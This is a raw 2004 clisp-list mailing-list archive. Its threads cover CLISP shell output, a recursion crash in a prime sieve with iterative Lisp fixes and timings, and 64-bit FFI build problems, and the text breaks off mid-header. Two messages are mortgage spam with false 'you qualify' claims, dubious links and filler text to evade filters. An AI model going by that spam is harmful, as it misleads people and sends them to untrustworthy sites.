by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9CE72586E4; Thu, 24 Jun 2004 20:54:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8968D51D62; Thu, 24 Jun 2004 20:57:40 +0200 (CEST) Message-ID: <16603.9252.392431.297473@thalassa.informatimago.com> To: "Jacques B. Siboni" Cc: clisp list Subject: [clisp-list] returns from shell commands In-Reply-To: <40DB0433.712E9EAA@lutecium.org> References: <40DB0433.712E9EAA@lutecium.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 11:55:21 2004 X-Original-Date: Thu, 24 Jun 2004 20:57:40 +0200 Jacques B. Siboni writes: > Hi all > > when I run > [17]> (setq foo (shell '|ls *.kb|)) > > > I get: > dsm3.kb > 0 > > [18]> foo > 0 > > foo has a value of 0 > > Can someone tell me how to get the return of my shell command into a lisp > variable? Read more of clisp documentation! http://clisp.cons.org/impnotes/shell.html -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Thu Jun 24 12:58:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdaMB-0001yv-R0 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 12:57:59 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdaMA-00055D-F4 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 12:57:59 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 747DB586E3; Thu, 24 Jun 2004 21:57:52 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 64F2A51DB1; Thu, 24 Jun 2004 22:00:51 +0200 (CEST) To: Elvin Peterson Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp crash with recursive function In-Reply-To: <20040624182207.45871.qmail@web52210.mail.yahoo.com> References: <20040624182207.45871.qmail@web52210.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Message-Id: <20040624200051.64F2A51DB1@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 13:00:23 2004 X-Original-Date: Thu, 24 Jun 2004 22:00:51 +0200 (CEST) Elvin Peterson writes: > Hello, > I have an function (described below), which crashes > clisp for inputs greater than 1500. The limit is > substantially larger if the function is compiled. An > empty stackdump file is generated under cygwin. > > [18]> (eratosthenes 1500) > $ > > I suspect this might be a problem with large lists, > but shouldn't there be a graceful recovery and a > message rather than a crash? The problem is not with large lists, but with deep stacks. The interpreter uses more stack space than compiled functions. > (defun generate-list (n) > "Provides the list 2...n" > (labels ((generate-reversed-list (n) > "Generates the list 2...n in the reverse order" > (if (= n 2) > (cons 2 nil) > (cons n (generate-reversed-list (1- n)))))) > (reverse (generate-reversed-list n)))) Rather use an iterative version: (defun generate-numbers>=2 (n) (let ((result nil)) (dotimes (i n) (push i result)) (cddr (nreverse result)))) (defun nremove-prime-multiples (list) (do* ((prime (car list)) (prime-multiple (+ prime prime)) (next list)) ((null (cdr next)) list) (cond ((> (cadr next) prime-multiple) (incf prime-multiple prime)) ((= (cadr next) prime-multiple) (setf (cdr next) (cddr next)) (incf prime-multiple prime)) (t (setf next (cdr next)))))) (defun sieve (list-of-integer) (do* ((result (copy-seq list-of-integer)) (next (nremove-prime-multiples result) (nremove-prime-multiples (cdr next)))) ((null (cdr next)) result)));;sieve [52]> (time (sieve (generate-numbers>=2 10000))) Real time: 3.300211 sec. ;; NOT COMPILED! Run time: 3.28 sec. Space: 159984 Bytes (2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157 163 167 173 179 181 191 193 197 199 211 223 227 229 233 239 241 251 257 263 269 271 277 281 283 293 307 311 313 [...] 9319 9323 9337 9341 9343 9349 9371 9377 9391 9397 9403 9413 9419 9421 9431 9433 9437 9439 9461 9463 9467 9473 9479 9491 9497 9511 9521 9533 9539 9547 9551 9587 9601 9613 9619 9623 9629 9631 9643 9649 9661 9677 9679 9689 9697 9719 9721 9733 9739 9743 9749 9767 9769 9781 9787 9791 9803 9811 9817 9829 9833 9839 9851 9857 9859 9871 9883 9887 9901 9907 9923 9929 9931 9941 9949 9967 9973) [53]> (map nil (function compile) '(generate-numbers>=2 nremove-prime-multiples sieve)) NIL [54]> (time (every (function primep) (sieve (generate-numbers>=2 100000)))) Real time: 210.57819 sec. ;; NOT COMPILED! Run time: 203.1 sec. Space: 1599984 Bytes GC: 1, GC time: 0.06 sec. T Of course, it's much faster to implement the Eratostene sieve with bitmaps: [55]> (package:load-package :com.informatimago.common-lisp.primes) T [56]> (time (every (function primep) (com.informatimago.common-lisp.primes:compute-primes-to 100000))) Real time: 7.245507 sec. Run time: 7.17 sec. Space: 48284 Bytes T [67]> (time (prog1 nil (com.informatimago.common-lisp.primes:compute-primes-to 100000))) Real time: 0.695663 sec. Run time: 0.69 sec. Space: 44784 Bytes NIL -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From Jakob.Leufgens@samsung.de Thu Jun 24 15:56:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bdd8v-0005rc-6j for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 15:56:29 -0700 Received: from samsungmail1.sdsg.de ([213.70.219.197]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1Bdd8u-00006P-Ha for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 15:56:28 -0700 Received: (qmail 25302 invoked from network); 24 Jun 2004 22:56:03 -0000 Received: from unknown (HELO samsungexcgw1.samsung.samsungeurope.de) (106.101.1.108) by samsungmail1.sdsg.de with SMTP; 24 Jun 2004 22:56:03 -0000 Received: from samsungexcdb1.samsung.samsungeurope.de ([106.101.1.105]) by samsungexcgw1.samsung.samsungeurope.de with Microsoft SMTPSVC(5.0.2195.6713); Fri, 25 Jun 2004 00:56:03 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: fake Thread-Index: AcRaPmyZGMs1U2QGTIGuS3Nt106UFgAAAASP From: "Leufgens, Jakob" To: X-OriginalArrivalTime: 24 Jun 2004 22:56:03.0395 (UTC) FILETIME=[6CDA8930:01C45A3E] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Abwesenheitsnotiz: fake Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 15:57:01 2004 X-Original-Date: Fri, 25 Jun 2004 00:56:03 +0200 from June 18th until June 29th 2004 I=B4am not in the office. My = successor is Mrs. Kaiser. From will@misconception.org.uk Thu Jun 24 15:59:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BddBg-0005wD-4o for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 15:59:20 -0700 Received: from cmailm4.svr.pol.co.uk ([195.92.193.211]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BddBf-0000bL-Q4 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 15:59:19 -0700 Received: from modem-3879.lion.dialup.pol.co.uk ([217.135.175.39]) by cmailm4.svr.pol.co.uk with esmtp (Exim 4.14) id 1BddBO-0001oD-QL for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 23:59:03 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.33.2 -- No FFI possible User-Agent: KMail/1.6.2 References: <20040624162110.GA10777@wotan.suse.de> In-Reply-To: <20040624162110.GA10777@wotan.suse.de> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200406250000.17633.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 16:00:00 2004 X-Original-Date: Fri, 25 Jun 2004 00:00:17 +0100 On Thursday 24 Jun 2004 17:21, Dr. Werner Fink wrote: > Hi, > > if I try to build clisp 2.33.2 on IA64 I get This was broken in 2.32 and newer, if that is of any help. From lesa_santanayx@iaf.hist.no Fri Jun 25 01:54:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdmTx-0005bc-7M; Fri, 25 Jun 2004 01:54:49 -0700 Received: from 218-170-143-229.dynamic.hinet.net ([218.170.143.229] helo=lavalink.com.au) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BdmTv-0004hh-RW; Fri, 25 Jun 2004 01:54:48 -0700 Received: from 182.35.56.47 by smtp.iaf.hist.no; Fri, 25 Jun 2004 08:57:06 +0000 Message-ID: <9ae601c45a92$2875cccc$f4d61f8e@lavalink.com.au> From: "Lesa Santana" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] $23221 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 25 01:55:05 2004 X-Original-Date: Fri, 25 Jun 2004 02:56:38 -0600 Hello, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://onlinerefi.biz/a1/ke.php?bks=71 Best Regards, Steve Morris ---- system information ---- acceptable objects some performing obsoleted public-i18n-ws@w3org patent sender no revision face interoperate architecture forth standard sends parties Localization] doesn't generally interchangeably mechanisms function images From lisp-clisp-list@m.gmane.org Fri Jun 25 07:50:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bds1l-0007tZ-FX for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 07:50:05 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Bds1l-0006xn-2h for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 07:50:05 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Bds1i-0006sk-00 for ; Fri, 25 Jun 2004 16:50:02 +0200 Received: from p50881e05.dip.t-dialin.net ([80.136.30.5]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 25 Jun 2004 16:50:02 +0200 Received: from 3.14159 by p50881e05.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 25 Jun 2004 16:50:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: thomas weidner <3.14159@gmx.net> Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p50881e05.dip.t-dialin.net User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity.) X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] thread support? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 25 07:51:03 2004 X-Original-Date: Fri, 25 Jun 2004 16:35:41 +0200 Hi, what is the state of thread support in clisp? i tried to compile latest-cvs using --with-threads=POSIX_THREADS, but clisp segfaults while building (anyone interested in backtraces?) will threads soon become a "stable" feature? thx in advance thomas PS: i'm very(!) interested in clisp as it seems to be the only lisp, which runs on my amd64 ;-) From sds@gnu.org Fri Jun 25 08:18:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdsTW-0001rW-P5 for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 08:18:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdsTW-0003Qf-Bz for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 08:18:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5PFIT6H012018; Fri, 25 Jun 2004 11:18:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040624162110.GA10777@wotan.suse.de> (Werner Fink's message of "Thu, 24 Jun 2004 18:21:10 +0200") References: <20040624162110.GA10777@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Re: clisp 2.33.2 -- No FFI possible Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 25 08:19:11 2004 X-Original-Date: Fri, 25 Jun 2004 11:18:29 -0400 > * Dr. Werner Fink [2004-06-24 18:21:10 +0200]: > > if I try to build clisp 2.33.2 on IA64 I get this might be related to apparently, 64-bit FFCALL is not quite ready. > How this can be fixed. Only to get not only FFI but also > bindings/glibc, postgresql, and wildcard modules back into clisp ;^) at least syscalls regexp pcre berkeley-db clx dirkey still work, right? -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From will@misconception.org.uk Fri Jun 25 11:20:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdvJQ-0006lS-20 for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 11:20:32 -0700 Received: from cmailm4.svr.pol.co.uk ([195.92.193.211]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdvJP-0007m0-If for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 11:20:31 -0700 Received: from modem-1781.lynx.dialup.pol.co.uk ([217.135.198.245]) by cmailm4.svr.pol.co.uk with esmtp (Exim 4.14) id 1BdvJL-0006de-AC for clisp-list@lists.sourceforge.net; Fri, 25 Jun 2004 19:20:27 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp 2.33.2 -- No FFI possible User-Agent: KMail/1.6.2 References: <20040624162110.GA10777@wotan.suse.de> In-Reply-To: MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Message-Id: <200406251921.43147.will@misconception.org.uk> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 25 11:21:04 2004 X-Original-Date: Fri, 25 Jun 2004 19:21:43 +0100 On Friday 25 Jun 2004 16:18, Sam Steingold wrote: > > * Dr. Werner Fink [2004-06-24 18:21:10 +0200]: > > > > if I try to build clisp 2.33.2 on IA64 I get > > this might be related to > 355&atid=101355> apparently, 64-bit FFCALL is not quite ready. The amd64 and alpha stuff seems to work OK. It doesn't crash at least. From aurelio_downey_rd@staris.co.uk Sun Jun 27 08:18:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BebQB-0006Xw-An; Sun, 27 Jun 2004 08:18:19 -0700 Received: from [211.59.20.104] (helo=sms.pgsm.hu) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BebQA-0000Mj-Kp; Sun, 27 Jun 2004 08:18:19 -0700 Received: from 162.160.49.91 by smtp.staris.co.uk; Sun, 27 Jun 2004 15:18:02 +0000 Message-ID: <108701c45c59$23edc642$ce0005cc@sms.pgsm.hu> From: "Aurelio Downey" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $91823 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 27 08:19:05 2004 X-Original-Date: Sun, 27 Jun 2004 12:17:51 -0300 Hello, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://finance-planet.info/a1/ke.php?bks=71 Best Regards, Steve Morris ---- system information ---- personalization Cases non-proprietary shared marks include functionality end Usage argument interaction Currency contribute include: shared are provides by produce various runtime into MIME SOAP-RPC From elvin_peterson@yahoo.com Mon Jun 28 05:59:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BevjW-0004MJ-FI for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 05:59:38 -0700 Received: from web52202.mail.yahoo.com ([206.190.39.84]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BevjV-0002Qm-UJ for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 05:59:38 -0700 Message-ID: <20040628125932.28926.qmail@web52202.mail.yahoo.com> Received: from [202.83.41.194] by web52202.mail.yahoo.com via HTTP; Mon, 28 Jun 2004 05:59:32 PDT From: Elvin Peterson Subject: Re: [clisp-list] clisp crash with recursive function To: Clisp In-Reply-To: <20040624200051.64F2A51DB1@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 06:00:04 2004 X-Original-Date: Mon, 28 Jun 2004 05:59:32 -0700 (PDT) --- "Pascal J.Bourguignon" wrote: > Elvin Peterson writes: > > Hello, > > I have an function (described below), which > crashes > > clisp for inputs greater than 1500. The limit is > > substantially larger if the function is compiled. > An > > empty stackdump file is generated under cygwin. > > > > [18]> (eratosthenes 1500) > > $ > > > > I suspect this might be a problem with large > lists, > > but shouldn't there be a graceful recovery and a > > message rather than a crash? > > > The problem is not with large lists, but with deep > stacks. The > interpreter uses more stack space than compiled > functions. How much stack space is allocated? I did measurements with the "time" function and the space requirements seemed quite small to me. > Rather use an iterative version: That is much better than what I posted, but from what I have read in books about Lisp, iterative programming should be avoided by new users because of all the side effects. However, the code for reversing a list seems to be an idiom. > Of course, it's much faster to implement the > Eratostene sieve with bitmaps: > > [55]> (package:load-package > :com.informatimago.common-lisp.primes) > T I suppose this is your personal code, and not part of the clisp distribution. Thank you for all the help! __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From elvin_peterson@yahoo.com Mon Jun 28 06:14:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BevxX-00055m-8F for clisp-list@lists.sourceforge.net; Mon, 28 Jun 2004 06:14:07 -0700 Received: from 